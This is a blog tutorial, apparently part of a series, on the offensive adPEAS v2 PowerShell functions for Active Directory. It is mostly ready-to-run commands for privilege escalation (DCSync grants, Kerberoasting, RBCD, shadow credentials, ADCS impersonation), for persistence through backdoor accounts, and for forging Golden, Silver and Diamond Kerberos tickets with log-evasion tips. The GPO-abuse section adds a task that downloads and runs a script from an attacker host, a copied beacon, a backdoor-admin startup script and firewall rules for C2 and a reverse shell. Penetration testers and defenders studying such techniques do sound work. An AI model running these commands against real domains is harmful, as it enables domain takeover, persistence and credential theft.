adPEAS v2 Episode 6: Offensive Operations - Manipulating AD with adPEAS
Hands-on guide to adPEAS v2 offensive capabilities: privilege escalation, persistence, lateral movement, GPO abuse, ADCS exploitation, and Kerberos ticket forging.
Legal Disclaimer
The techniques described in this episode are offensive in nature and must only be used in compliance with applicable law!
The use of these functions is only permissible in the following contexts:
- Authorized penetration tests - With written permission from the client
- Your own test environments - In your personal lab
- Security research - For researching and documenting vulnerabilities
Unauthorized use of these techniques against third-party systems is a criminal offense and may carry severe legal consequences depending on your jurisdiction. You are solely responsible for lawful use.
Experimental Status
The
Set-*,New-*andInvoke-TicketForgefunctions are experimental!These functions are under active development and should be used with caution:
- Always test in a lab - Validate every technique in your own test environment first
- Bugs are possible - Unexpected behavior may occur
- Plan for rollback - Have a recovery plan before making changes
- Use -PassThru - Review and document results
- Document cleanup - Record all changes for later remediation
For issues: File a report at https://github.com/61106960/adPEAS/issues
Introduction
adPEAS is not just a scanner. With the New-* and Set-* functions you can manipulate Active Directory, and with Invoke-TicketForge you can forge Kerberos tickets. This is essential for:
- Privilege Escalation - From low-priv to Domain Admin
- Persistence - Maintaining access
- Lateral Movement - Moving to other systems
- Ticket Forging - Creating Golden, Silver, and Diamond Tickets
This episode covers the most important techniques for red teamers and pentesters.
Prerequisite: An active adPEAS session:
Import-Module .\adPEAS.ps1
Connect-adPEAS -Domain "contoso.com" -UseWindowsAuth
Function Overview
New-* (Create)
| Function | Description |
|---|---|
New-DomainUser | Create a new user |
New-DomainComputer | Create a new computer (MachineAccountQuota) |
New-DomainGroup | Create a new group |
New-DomainGPO | Create a new GPO |
Set-* (Modify)
| Function | Description |
|---|---|
Set-DomainObject | Universal: Modify attributes and ACLs |
Set-DomainUser | Modify users (Password, SPN, RBCD, Shadow Creds, UAC Flags) |
Set-DomainComputer | Modify computers (RBCD, Delegation, Shadow Creds, UAC Flags) |
Set-DomainGroup | Modify groups (Members, Owner, ACLs) |
Set-DomainGPO | Modify GPOs |
Set-CertificateTemplate | Modify ADCS templates |
Invoke-* (Ticket Forging)
| Function | Description |
|---|---|
Invoke-TicketForge | Create Golden, Silver, and Diamond Tickets |
Import-KerberosTicket | Inject tickets into the Windows session (PTT) |
Request-* (Certificate Requests)
| Function | Description |
|---|---|
Request-ADCSCertificate | Request certificate from CA (ESC1/ESC4) |
Privilege Escalation Techniques
1. Granting DCSync Rights
Scenario: You have WriteDacl on the Domain Root.
# Grant DCSync rights to your user
Set-DomainObject -Identity "DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\youruser" -ExtendedRight "DCSync"
# Now you can dump all hashes (e.g., with mimikatz)
# mimikatz: lsadump::dcsync /domain:contoso.com /all
What DCSync does: Grants the 3 Replication rights (Get-Changes, Get-Changes-All, Get-Changes-In-Filtered-Set).
2. Targeted Kerberoasting
Scenario: You have WriteProperty on a user without an SPN.
# Add an SPN to the user
Set-DomainUser -Identity "svc_backup" -SetSPN "HTTP/fakeservice.contoso.com"
# The user is now Kerberoastable!
# Request a ticket with Invoke-Kerberoast or Rubeus
# Cleanup after the attack
Set-DomainUser -Identity "svc_backup" -ClearSPN "HTTP/fakeservice.contoso.com"
3. Enabling ASREPRoasting
Scenario: You have WriteProperty on a user.
# Disable Pre-Auth
Set-DomainUser -Identity "targetuser" -DontReqPreauth
# The user is now ASREPRoastable - AS-REP can be requested without a password
# Cleanup
Set-DomainUser -Identity "targetuser" -ClearDontReqPreauth
4. Password Reset
Scenario: You have ForceChangePassword on a user.
# Reset the password
Set-DomainUser -Identity "targetuser" -NewPassword "NewP@ssw0rd123!"
# Or: Grant yourself ForceChangePassword rights (if you have WriteDacl)
Set-DomainObject -Identity "CN=targetuser,OU=Users,DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\youruser" -ExtendedRight "ForceChangePassword"
5. Group Takeover
Scenario: You have WriteOwner on a group.
# 1. Take ownership
Set-DomainGroup -Identity "Domain Admins" -Owner "CONTOSO\youruser"
# 2. Grant yourself GenericAll (possible as the owner)
Set-DomainGroup -Identity "Domain Admins" -GrantRights GenericAll -Principal "CONTOSO\youruser"
# 3. Add yourself to the group
Set-DomainGroup -Identity "Domain Admins" -AddMember "youruser"
6. RBCD Attack (Resource-Based Constrained Delegation)
Scenario: You can create computers (MachineAccountQuota > 0) and have WriteProperty on a target.
# 1. Create a computer account
$result = New-DomainComputer -Name "EVILPC" -PassThru
$password = $result.Password
Write-Host "Computer created with password: $password"
# 2. Configure RBCD on the target
Set-DomainComputer -Identity "FILESERVER01" -AddRBCD "EVILPC$"
# Cleanup
Set-DomainComputer -Identity "FILESERVER01" -ClearRBCD
RBCD on a User (Service Account with SPN):
Set-DomainUser -Identity "svc_sql" -AddRBCD "EVILPC$"
7. Shadow Credentials
Prerequisite: Domain Functional Level 2016 or higher (the msDS-KeyCredentialLink attribute only exists from DFL 2016 onwards).
Scenario: You have WriteProperty on msDS-KeyCredentialLink.
# Add a Shadow Credential to the user
$result = Set-DomainUser -Identity "targetuser" -AddShadowCredential -PassThru
# Cleanup with DeviceID (removes only your own credential)
Set-DomainUser -Identity "targetuser" -ClearShadowCredentials -DeviceID $result.DeviceID
# Or: Remove all Shadow Credentials
Set-DomainUser -Identity "targetuser" -ClearShadowCredentials -Force
On a Computer Account:
Set-DomainComputer -Identity "DC01" -AddShadowCredential
8. Enabling Unconstrained Delegation
Scenario: You have WriteProperty on the userAccountControl of a computer.
# Enable Unconstrained Delegation
Set-DomainComputer -Identity "YOURCOMPUTER$" -SetTrustedForDelegation
# WARNING: High impact! The computer can now impersonate any user.
# Cleanup
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearTrustedForDelegation
9. Configuring Constrained Delegation
Scenario: You control a computer and have WriteProperty.
# Configure Constrained Delegation to DCs
Set-DomainComputer -Identity "YOURCOMPUTER$" -SetConstrainedDelegation @("cifs/dc01.contoso.com", "ldap/dc01.contoso.com")
# Enable Protocol Transition (S4U2Self)
Set-DomainComputer -Identity "YOURCOMPUTER$" -SetTrustedToAuthForDelegation
# You can now request tickets for any user to these SPNs
# Cleanup
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearConstrainedDelegation -Force
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearTrustedToAuthForDelegation
10. ADCS Certificate Request (ESC1/ESC4)
Scenario: You have found a vulnerable ADCS template (ESC1: Enrollee Supplies Subject + Client Auth) or you have write permissions on a template (ESC4).
Request-ADCSCertificate automates the complete attack: generate CSR, submit to the CA, retrieve the certificate, and save it as a PFX file.
ESC1 - Exploiting a vulnerable template directly:
# Simplest variant: -Impersonate handles everything automatically
Request-ADCSCertificate -TemplateName "VulnTemplate" -Impersonate "administrator"
# Authenticate with the obtained certificate
Connect-adPEAS -Domain "contoso.com" -Certificate '.\administrator_20260219_120000.pfx' -CertificatePassword 'K8#mP2@xL9!nQ4$wR7'
-Impersonate automatically detects whether a username (UPN SAN), a UPN address, or an FQDN (DNS SAN) was provided:
| Input | Subject | SAN |
|---|---|---|
"administrator" | CN=administrator | UPN: |
"admin@contoso.com" | CN=admin | UPN: |
"dc01.contoso.com" | CN=dc01 | DNS:dc01.contoso.com |
ESC4 - Temporarily modifying the template:
# -ModifyTemplate: Backup -> Modify -> Request -> Restore (automatic!)
Request-ADCSCertificate -TemplateName "WebServer" -ModifyTemplate -Impersonate "administrator"
What -ModifyTemplate does:
- Save template backup as JSON
- Modify template (ENROLLEE_SUPPLIES_SUBJECT, Client Auth EKU, Exportable Key, no Manager Approval)
- Request certificate
- Restore original template (even on errors!)
No password protection of PFX (convenient for follow-up commands):
# Export PFX without password protection
Request-ADCSCertificate -TemplateName "VulnTemplate" -Impersonate "admin" -NoPassword
# Use directly without -CertificatePassword
Connect-adPEAS -Domain "contoso.com" -Certificate '.\admin_20260219_120000.pfx'
Get-CertificateInfo -Certificate '.\admin_20260219_120000.pfx'
Scripting with -PassThru:
$cert = Request-ADCSCertificate -TemplateName "VulnTemplate" -Impersonate "admin" -PassThru
if ($cert.Success) {
Connect-adPEAS -Domain "contoso.com" -Certificate $cert.PFXPath -CertificatePassword $cert.PFXPassword
}
CA is auto-discovered - when an adPEAS session is active, all CAs are read from AD and the matching template is located automatically. Alternatively: -CAServer "ca01.contoso.com" for manual specification.
Persistence Techniques
11. Creating a Backdoor User
# Create a user with a generated password
$result = New-DomainUser -Name "svc_health" -Description "Health Monitor Service" -PassThru
Write-Host "User created with password: $($result.Password)"
# Add to Domain Admins group (if you have the rights)
Set-DomainGroup -Identity "Domain Admins" -AddMember "svc_health"
12. Hidden Computer for RBCD
# Create a fake computer (uses MachineAccountQuota)
New-DomainComputer -Name "SCCM-AGENT" -Description "SCCM Distribution Point"
# Can be used later for RBCD attacks
13. ACL-Based Persistence
# Grant yourself GenericAll on the Domain Root
Set-DomainObject -Identity "DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\youruser" -Rights "GenericAll"
# Or more subtle: Only WriteDacl (you can grant yourself more rights later)
Set-DomainObject -Identity "DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\youruser" -Rights "WriteDacl"
14. Shadow Credentials for Persistence
Prerequisite: Domain Functional Level 2016+ (see Section 7).
# Shadow Credential on a Domain Controller
Set-DomainComputer -Identity "DC01" -AddShadowCredential -PassThru
# Save the certificate - you can authenticate as DC01$ at any time with it
15. GPO Abuse — Code Execution and Persistence via Group Policy
Scenario: You have write access to a GPO object (e.g., through GenericWrite, WriteDacl, or you are the GPO owner). Using Set-DomainGPO, you can manipulate the GPO to execute code on all computers where the GPO is applied.
Why GPO Abuse is so powerful:
- GPOs are automatically applied to all linked computers
- GPO changes take effect without user interaction (Startup Scripts, Scheduled Tasks)
- Many GPO operations run in SYSTEM context
- GPOs can be linked to Domain Controller OUs — turning GPO write access into instant Domain Admin
Step 1: Obtain GPO Rights (if needed)
# Take ownership (if you have TakeOwnership)
Set-DomainGPO -Identity "Target Policy" -Owner "CONTOSO\attacker"
# Grant yourself GenericAll on the GPO
Set-DomainGPO -Identity "Target Policy" -GrantRights GenericAll -Principal "CONTOSO\attacker"
Step 2: Link GPO to Target OU (if not already linked)
# Link GPO to Server OU
Set-DomainGPO -Identity "Target Policy" -LinkTo "OU=Servers,DC=contoso,DC=com"
# With enforcement (ignores Block Inheritance)
Set-DomainGPO -Identity "Target Policy" -LinkTo "OU=Domain Controllers,DC=contoso,DC=com" -LinkEnforced
Step 3: Deploy Payload via GPO
Immediate Scheduled Task — instant code execution as SYSTEM:
# Simple command execution
Set-DomainGPO -Identity "Target Policy" -AddScheduledTask -TaskName "WindowsUpdate" -TaskCommand "cmd.exe" -TaskArguments "/c whoami > C:\Windows\Temp\pwned.txt"
# PowerShell payload
Set-DomainGPO -Identity "Target Policy" -AddScheduledTask -TaskName "HealthCheck" -TaskCommand "powershell.exe" -TaskArguments "-nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"
Add Local Admin — persistence without code execution:
# Add user to local Administrators
Set-DomainGPO -Identity "Target Policy" -AddLocalGroupMember -LocalGroup "Administrators" -MemberToAdd "CONTOSO\attacker"
# Set up RDP access
Set-DomainGPO -Identity "Target Policy" -AddLocalGroupMember -LocalGroup "Remote Desktop Users" -MemberToAdd "CONTOSO\attacker"
Startup Script — code execution at every reboot as SYSTEM:
# Inline script (created directly in SYSVOL)
Set-DomainGPO -Identity "Target Policy" -AddStartupScript -ScriptContent "net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" -ScriptName "update.bat"
# Deploy existing script
Set-DomainGPO -Identity "Target Policy" -AddStartupScript -ScriptPath "C:\tools\beacon.ps1" -ScriptName "monitoring.ps1"
Logon Script — code execution at every user logon:
Set-DomainGPO -Identity "Target Policy" -AddLogonScript -ScriptContent "powershell -nop -w hidden -c IEX(...)" -ScriptName "profile.ps1"
Install Windows Service — persistent service:
# Service that starts automatically at every boot
Set-DomainGPO -Identity "Target Policy" -AddService -ServiceName "WinUpdateSvc" -BinaryPath "C:\Windows\Temp\beacon.exe" -StartType Automatic
# Service running under a domain account
Set-DomainGPO -Identity "Target Policy" -AddService -ServiceName "HelperSvc" -BinaryPath "C:\Temp\helper.exe" -ServiceAccount "CONTOSO\svc_admin"
Deploy File — copy payload to target computers:
# Copy payload from UNC share
Set-DomainGPO -Identity "Target Policy" -DeployFile -SourceFile "\\attacker\share\beacon.exe" -DestinationPath "C:\Windows\Temp\update.exe" -FileAction Create
Create Firewall Rule — open network access:
# Allow C2 communication
Set-DomainGPO -Identity "Target Policy" -AddFirewallRule -RuleName "Windows Update" -RuleDirection Outbound -RuleAction Allow -RuleProtocol TCP -RuleRemoteAddress "10.10.10.10" -RuleRemotePort "8080,8443"
# Inbound rule for reverse shell
Set-DomainGPO -Identity "Target Policy" -AddFirewallRule -RuleName "Remote Support" -RuleDirection Inbound -RuleAction Allow -RuleProtocol TCP -RuleLocalPort "4444"
Cleanup
# Remove GPO link
Set-DomainGPO -Identity "Target Policy" -UnlinkFrom "OU=Servers,DC=contoso,DC=com"
Note: SYSVOL content (Scheduled Tasks, Scripts, Services) must be cleaned up manually — adPEAS does not currently offer remove operations for GPO content. Document all changes for later cleanup.
16. UAC Flag Manipulation
Scenario: You have WriteProperty on a user’s userAccountControl and want to weaken accounts or establish persistence.
Set-DomainUser supports direct manipulation of UAC flags - a powerful tool for both offense and cleanup:
# Weaken account: Allow empty password
Set-DomainUser -Identity "targetuser" -PasswordNotRequired
# Persistence: Password never expires
Set-DomainUser -Identity "backdooruser" -PasswordNeverExpires
# Credential Theft: Enable reversible encryption
# After the next password change, the password will be stored in cleartext
Set-DomainUser -Identity "targetuser" -ReversibleEncryption
# Force smartcard (locks user out if no smartcard available)
Set-DomainUser -Identity "targetuser" -SmartcardRequired
# Defensive: Mark account as sensitive (prevents delegation)
Set-DomainUser -Identity "adminuser" -NotDelegated
# Force password change at next logon
Set-DomainUser -Identity "targetuser" -PasswordExpired
# Prevent user from changing their own password
Set-DomainUser -Identity "targetuser" -PasswordCantChange
All flags are toggle switches: if the flag is already set, adPEAS reports “already set” without making changes.
Computer UAC Flags
Set-DomainComputer also supports UAC flag manipulation — particularly interesting for computer-specific attacks:
# Weaken computer account: Allow empty password
Set-DomainComputer -Identity "YOURCOMPUTER$" -PasswordNotRequired
# Persistence: Computer password never expires
Set-DomainComputer -Identity "YOURCOMPUTER$" -PasswordNeverExpires
# Enable AS-REP Roasting on computer account
Set-DomainComputer -Identity "YOURCOMPUTER$" -DontReqPreauth
# Defensive: Mark computer as sensitive (prevents delegation)
Set-DomainComputer -Identity "DC01" -NotDelegated
# Cleanup: Remove NOT_DELEGATED flag
Set-DomainComputer -Identity "DC01" -ClearNotDelegated
# Cleanup: Re-enable pre-authentication
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearDontReqPreauth
Ticket Forging with Invoke-TicketForge
Once you have obtained the krbtgt hash or service account keys (e.g., via DCSync), things get really interesting. Invoke-TicketForge creates forged Kerberos tickets - entirely in PowerShell, without external tools like Mimikatz or Rubeus.
What Are Golden, Silver, and Diamond Tickets?
A quick refresher for those who don’t feel like flipping back to Episode 3 right now:
Normal Kerberos flow:
Client --AS-REQ--> KDC --AS-REP--> Client gets TGT
Client --TGS-REQ--> KDC --TGS-REP--> Client gets Service Ticket
Client --AP-REQ--> Service
Golden Ticket: We FORGE the TGT. No AS-REQ needed.
Silver Ticket: We FORGE the Service Ticket. No TGS-REQ needed.
Diamond Ticket: We OBTAIN a real TGT and MODIFY it.
The difference lies in the OPSEC profile and the required keys:
| Ticket | Required Key | KDC Contact | OPSEC |
|---|---|---|---|
| Golden | krbtgt Key | None (no AS-REQ) | Poor - no AS-REQ in the logs |
| Silver | Service Account Key | None (no TGS-REQ) | Medium - no TGS-REQ in the logs |
| Diamond | krbtgt Key + User Credentials | AS-REQ is sent | Good - real AS-REQ in the logs |
17. Golden Ticket
Scenario: You have the krbtgt hash (e.g., via DCSync) and want to become Domain Admin.
The Golden Ticket is the classic. You forge a TGT with arbitrary group memberships - the Domain Controller accepts it because it is signed with the correct krbtgt key.
# Golden Ticket with active adPEAS session (Domain and DomainSID from session)
Invoke-TicketForge -Mode Golden -AES256Key "52a4126c7ab14fe..." -PTT
# Golden Ticket with explicit parameters (no session required)
Invoke-TicketForge -Mode Golden -Domain "contoso.com" -DomainSID "S-1-5-21-1234567890-1234567890-1234567890" -AES256Key "52a4126c7ab14fe..." -PTT
# As a different user with NT-Hash and .kirbi export
Invoke-TicketForge -Mode Golden -UserName "svc_backup" -Domain "contoso.com" -DomainSID "S-1-5-21-1234567890-1234567890-1234567890" -NTHash "32ED87BDB5FDC5E9CBA88547376818D4" -OutputKirbi "golden.kirbi"
What happens under the hood:
1. Generate random Session Key (32 bytes for AES256)
2. Build PAC (KERB_VALIDATION_INFO with Domain Admins etc.)
3. Calculate and sign PAC checksums (via cryptdll.dll)
4. Build EncTicketPart (Session Key + PAC + Timestamps)
5. Encrypt EncTicketPart with krbtgt key
6. Assemble Kerberos Ticket (APPLICATION 1)
7. Generate KRB-CRED (.kirbi format)
8. Optional: Inject into Windows session (-PTT)
Important: The default UserRID is 500 (built-in Administrator), and the default GroupRIDs are 512, 513, 518, 519, 520 (Domain Admins, Domain Users, Schema Admins, Enterprise Admins, Group Policy Creator Owners).
18. Silver Ticket
Scenario: You have the hash of a service account and want to access a specific service - without contacting the KDC.
Silver Tickets are service tickets that go directly to the target service. You only need the key of the service account (often a computer account), not the krbtgt key.
# Silver Ticket for CIFS (file shares, PsExec)
Invoke-TicketForge -Mode Silver -Domain "contoso.com" -DomainSID "S-1-5-21-xxx" -ServiceType CIFS -TargetComputer "fileserver" -NTHash "ABC123DEF456..." -PTT
# Silver Ticket for MSSQL with explicit SPN
Invoke-TicketForge -Mode Silver -Domain "contoso.com" -DomainSID "S-1-5-21-xxx" -ServicePrincipalName "MSSQLSvc/sql01.contoso.com:1433" -AES256Key "..." -OutputKirbi "silver_sql.kirbi"
# Silver Ticket for LDAP on the DC (for DCSync without DA group membership)
Invoke-TicketForge -Mode Silver -Domain "contoso.com" -DomainSID "S-1-5-21-xxx" -ServiceType LDAP -TargetComputer "dc01" -AES256Key "..." -PTT
Supported ServiceTypes:
| ServiceType | SPN Prefix | Typical Use |
|---|---|---|
CIFS | cifs/ | File shares, PsExec, SCM |
HTTP | http/ | Web apps, WinRM (HTTP) |
LDAP | ldap/ | LDAP access, DCSync |
HOST | host/ | General host services |
MSSQL | MSSQLSvc/ | SQL Server |
WSMAN | wsman/ | WinRM (HTTPS) |
Difference from Golden Ticket: With a Silver Ticket, both PAC checksums (Server and KDC) are signed with the service account key. This works because the target service normally does not validate the KDC checksum.
19. Diamond Ticket
Scenario: You have the krbtgt key AND credentials of a low-priv user. You want to become Domain Admin, but you don’t want your Golden Ticket to stand out in the DC logs.
The Diamond Ticket is the OPSEC-friendly variant of the Golden Ticket. It first requests a real TGT (which generates a normal AS-REQ in the DC logs), then decrypts it with the krbtgt key, rebuilds the PAC with elevated privileges, and re-encrypts everything. From the outside, it looks like a normal TGT.
# Diamond Ticket with password (interactive)
Invoke-TicketForge -Mode Diamond -Domain "contoso.com" -BaseUserCredential (Get-Credential "lowpriv") -AES256Key "KRBTGT_AES256KEY" -PTT
# Diamond Ticket with NT-Hash of the base user
Invoke-TicketForge -Mode Diamond -Domain "contoso.com" -BaseUserName "lowpriv" -BaseUserNTHash "LOWPRIV_NTHASH" -AES256Key "KRBTGT_AES256KEY" -UserName "Administrator" -GroupRIDs @(512, 519) -PTT
# Diamond Ticket from an existing TGT (.kirbi)
Invoke-TicketForge -Mode Diamond -BaseUserTGTPath ".\user_tgt.kirbi" -AES256Key "KRBTGT_AES256KEY" -GroupRIDs @(512) -OutputKirbi "diamond.kirbi"
# Diamond Ticket in OPSEC mode (without -UserName = keep the original user)
Invoke-TicketForge -Mode Diamond -Domain "contoso.com" -BaseUserCredential (Get-Credential "lowpriv") -AES256Key "KRBTGT_AES256KEY" -GroupRIDs @(512, 513, 518, 519, 520) -PTT
The hybrid approach explained:
Phase 1: Obtain the base TGT
+--------------------------------------------------------+
| Option A: -BaseUserCredential -> AS-REQ to KDC |
| Option B: -BaseUserNTHash -> Overpass-the-Hash |
| Option C: -BaseUserAES256Key -> Pass-the-Key |
| Option D: -BaseUserTGTPath -> Load .kirbi |
| Option E: -BaseUserTGT -> Load Base64 |
+----------------------+---------------------------------+
v
Phase 2: Crack open the TGT
+--------------------------------------------------------+
| 1. Parse KRB-CRED (ASN.1) |
| 2. Decrypt EncTicketPart with krbtgt key |
| 3. Extract Session Key |
| 4. Extract Timestamps |
| 5. Parse PAC -> User, Domain, SID, Groups |
+----------------------+---------------------------------+
v
Phase 3: Rebuild with Golden Ticket logic
+--------------------------------------------------------+
| 1. Build new PAC (with desired groups) |
| 2. Sign PAC checksums with krbtgt key |
| 3. Build EncTicketPart with ORIGINAL Session Key |
| 4. Encrypt with krbtgt key |
| 5. Build KRB-CRED with ORIGINAL Session Key |
+--------------------------------------------------------+
OPSEC mode: If you omit -UserName, the Diamond Ticket retains the original user and only modifies the group memberships. This is the stealthiest variant - the logs show a normal AS-REQ for exactly that user.
Important limitation: The krbtgt key must match the encryption type the DC used to encrypt the ticket. On modern DCs, this is almost always AES256. If you only have the RC4/NT-Hash of the krbtgt, you will get a clear error message:
Encryption type mismatch:
The base TGT is encrypted with AES256-CTS (etype 18) but the provided krbtgt key is RC4-HMAC (etype 23).
You need the krbtgt AES256-CTS key to decrypt this ticket.
In that case you need the AES256 key of the krbtgt - or use a Golden Ticket instead (which does not need to decrypt a real TGT).
Customizing GroupRIDs and ExtraSIDs
All three ticket types support custom group memberships:
# Only Domain Admins and Domain Users (REPLACES the defaults!)
Invoke-TicketForge -Mode Golden -AES256Key "..." -GroupRIDs @(512, 513) -PTT
# Default groups PLUS a custom group
Invoke-TicketForge -Mode Golden -AES256Key "..." -GroupRIDs @(512, 513, 518, 519, 520, 1337) -PTT
# Cross-Domain Trust Abuse with ExtraSIDs (e.g., Enterprise Admins SID of the parent domain)
Invoke-TicketForge -Mode Golden -Domain "child.contoso.com" -DomainSID "S-1-5-21-CHILD..." -AES256Key "..." -ExtraSIDs @("S-1-5-21-PARENT...-519") -PTT
Note about -GroupRIDs: When you specify this parameter, the defaults are completely replaced - not supplemented! So if you only specify @(1337), you will no longer be a member of any of the privileged groups.
-ExtraSIDs requires full SIDs and is intended for cross-domain scenarios. However, SIDs from your own domain also work - the DC does not filter them out for Golden/Silver/Diamond Tickets.
Encryption Types and OPSEC
All three ticket types support three encryption types:
| Parameter | EType | Description | OPSEC |
|---|---|---|---|
-AES256Key | 18 | AES256-CTS-HMAC-SHA1-96 | Best - Standard on modern DCs |
-AES128Key | 17 | AES128-CTS-HMAC-SHA1-96 | OK - rarely used |
-NTHash | 23 | RC4-HMAC | Poor - RC4 tickets stand out in logs |
Recommendation: Always use the AES256 key when possible. RC4-encrypted tickets are easily detected by EDR solutions and Event ID 4769 (Encryption Type 0x17 instead of 0x12).
Pass-the-Ticket (-PTT)
All ticket types can be injected directly into the current Windows session with -PTT:
# Create a ticket and inject it immediately
Invoke-TicketForge -Mode Golden -AES256Key "..." -PTT
# The ticket is now active - you can start right away:
# dir \\dc01.contoso.com\c$
# Enter-PSSession dc01.contoso.com
The injection uses the Windows LSA API (LsaCallAuthenticationPackage) - the same method as Rubeus and Mimikatz.
Alternatively, you can save tickets as .kirbi files and import them later:
# Save the ticket
Invoke-TicketForge -Mode Golden -AES256Key "..." -OutputKirbi "ticket.kirbi"
# Import later
Import-KerberosTicket -Kirbi "ticket.kirbi"
Set-DomainObject - The Swiss Army Knife
Set-DomainObject is the Swiss army knife for AD manipulation.
Modifying Attributes
# Set a single attribute
Set-DomainObject -Identity "targetuser" -Set @{ description = "Compromised" }
# Set multiple attributes
Set-DomainObject -Identity "targetuser" -Set @{ description = "New description"; info = "Additional info" }
# Append to a multi-value attribute
Set-DomainObject -Identity "serviceaccount" -Append @{ servicePrincipalName = "HTTP/fake.contoso.com" }
# Remove from a multi-value attribute
Set-DomainObject -Identity "serviceaccount" -Remove @{ servicePrincipalName = "HTTP/fake.contoso.com" }
# Clear an attribute
Set-DomainObject -Identity "targetuser" -Clear @("description", "info")
ACL Operations
# Grant rights (Allow)
Set-DomainObject -Identity "CN=Target,OU=Users,DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\attacker" -Rights "GenericAll"
# Grant an ExtendedRight
Set-DomainObject -Identity "DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\attacker" -ExtendedRight "DCSync"
# Revoke rights
Set-DomainObject -Identity "CN=Target,OU=Users,DC=contoso,DC=com" -RevokeACE -Principal "CONTOSO\attacker" -Rights "GenericAll"
# Set an Explicit Deny
Set-DomainObject -Identity "CN=krbtgt,CN=Users,DC=contoso,DC=com" -DenyACE -Principal "NT AUTHORITY\Authenticated Users" -Rights "WriteProperty"
# Remove all ACEs for a principal
Set-DomainObject -Identity "CN=Target,OU=Users,DC=contoso,DC=com" -ClearACE -Principal "CONTOSO\olduser"
# Change the owner
Set-DomainObject -Identity "CN=Domain Admins,CN=Users,DC=contoso,DC=com" -SetOwner -Principal "CONTOSO\attacker"
Available ExtendedRights
| Alias | Description |
|---|---|
DCSync | All 3 DCSync rights |
ForceChangePassword | Reset password |
AddMember | Modify group membership |
ReadLAPSPassword | Read LAPS password |
SendAs | Send email as user (Exchange) |
ReceiveAs | Receive email as user (Exchange) |
AutoEnroll | Certificate auto-enrollment |
AllExtendedRights | All Extended Rights |
Cleanup Checklist
After an engagement you should clean up:
# Remove SPNs (Targeted Kerberoasting)
Set-DomainUser -Identity "victim" -ClearSPN "HTTP/fake.contoso.com"
# Re-enable Pre-Auth (ASREPRoasting)
Set-DomainUser -Identity "victim" -ClearDontReqPreauth
# Remove RBCD
Set-DomainComputer -Identity "FILESERVER01" -ClearRBCD -Force
# Remove Shadow Credentials (all at once)
Set-DomainUser -Identity "victim" -ClearShadowCredentials -Force
Set-DomainComputer -Identity "DC01" -ClearShadowCredentials -Force
# Remove Delegation flags
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearTrustedForDelegation
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearConstrainedDelegation -Force
# Reset UAC flags (User and Computer)
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearDontReqPreauth
Set-DomainComputer -Identity "DC01" -ClearNotDelegated
# Revoke ACEs
Set-DomainObject -Identity "DC=contoso,DC=com" -RevokeACE -Principal "CONTOSO\attacker" -ExtendedRight "DCSync"
# Remove group memberships
Set-DomainGroup -Identity "Domain Admins" -RemoveMember "attacker"
Practical Tips
Using PassThru
For scripting and automation:
$result = Set-DomainUser -Identity "target" -SetSPN "HTTP/fake.contoso.com" -PassThru
if ($result.Success) {
Write-Host "SPN successfully set!"
} else {
Write-Host "Error: $($result.Message)"
}
Passing Connection Parameters
For remote domains:
Set-DomainUser -Identity "target" -SetSPN "HTTP/fake.contoso.com" -Domain "child.contoso.com" -Server "dc01.child.contoso.com"
Pipeline Support
Modify multiple objects at once:
# Make all service accounts Kerberoastable (demo only!)
Get-DomainUser -LDAPFilter "(description=*service*)" | ForEach-Object {
Set-DomainUser -Identity $_.sAMAccountName -SetSPN "HTTP/fake-$($_.sAMAccountName).contoso.com"
}
Summary
AD Manipulation
| Technique | Function | Prerequisite |
|---|---|---|
| DCSync | Set-DomainObject -GrantACE -ExtendedRight DCSync | WriteDacl on Domain |
| Targeted Kerberoast | Set-DomainUser -SetSPN | WriteProperty on User |
| ASREPRoast | Set-DomainUser -DontReqPreauth | WriteProperty on User |
| Password Reset | Set-DomainUser -NewPassword | ForceChangePassword |
| Group Takeover | Set-DomainGroup -Owner/-AddMember | WriteOwner on Group |
| RBCD | Set-DomainComputer -AddRBCD | WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity |
| Shadow Creds | Set-DomainUser/Computer -AddShadowCredential | WriteProperty on msDS-KeyCredentialLink |
| ADCS ESC1/ESC4 | Request-ADCSCertificate -Impersonate/-ModifyTemplate | Enrollment rights + vulnerable template |
| Unconstrained | Set-DomainComputer -SetTrustedForDelegation | WriteProperty on userAccountControl |
| UAC Flags (User) | Set-DomainUser -PasswordNotRequired/-ReversibleEncryption/... | WriteProperty on userAccountControl |
| UAC Flags (Computer) | Set-DomainComputer -PasswordNotRequired/-DontReqPreauth/... | WriteProperty on userAccountControl |
Ticket Forging
| Technique | Function | Prerequisite |
|---|---|---|
| Golden Ticket | Invoke-TicketForge -Mode Golden | krbtgt Key (AES256/RC4) |
| Silver Ticket | Invoke-TicketForge -Mode Silver | Service Account Key |
| Diamond Ticket | Invoke-TicketForge -Mode Diamond | krbtgt AES256 Key + User Credentials |
← Episode 5: Output & Reports | Episode 7: Kerberos Internals — coming soon
Reminder: The
Set-*,New-*andInvoke-TicketForgefunctions are experimental. Always test in your own lab first and document all changes!All techniques described here may only be used with explicit authorization and in compliance with applicable law.
Happy Hacking - but only with permission!
About the Author
Related Articles
adPEAS v2 Blog Series: Active Directory Security Analysis with adPEAS
Introducing adPEAS v2 — a complete rewrite of the PowerShell-based Active Directory analysis tool with native Kerberos support, zero dependencies, and over 40 security checks.
adPEAS v2 Episode 2: Under the Hood - Anatomy of a Scan
What happens when adPEAS scans an Active Directory? From authentication and LDAP queries to context-dependent severity ratings and caching -- a look under the hood.
adPEAS v2 Episode 3: Authentication Deep-Dive - From Password to Certificate
Deep dive into adPEAS v2 authentication: Kerberos internals, Pass-the-Hash, Pass-the-Key, PKINIT with certificates, Shadow Credentials, and Pass-the-Cert via Schannel.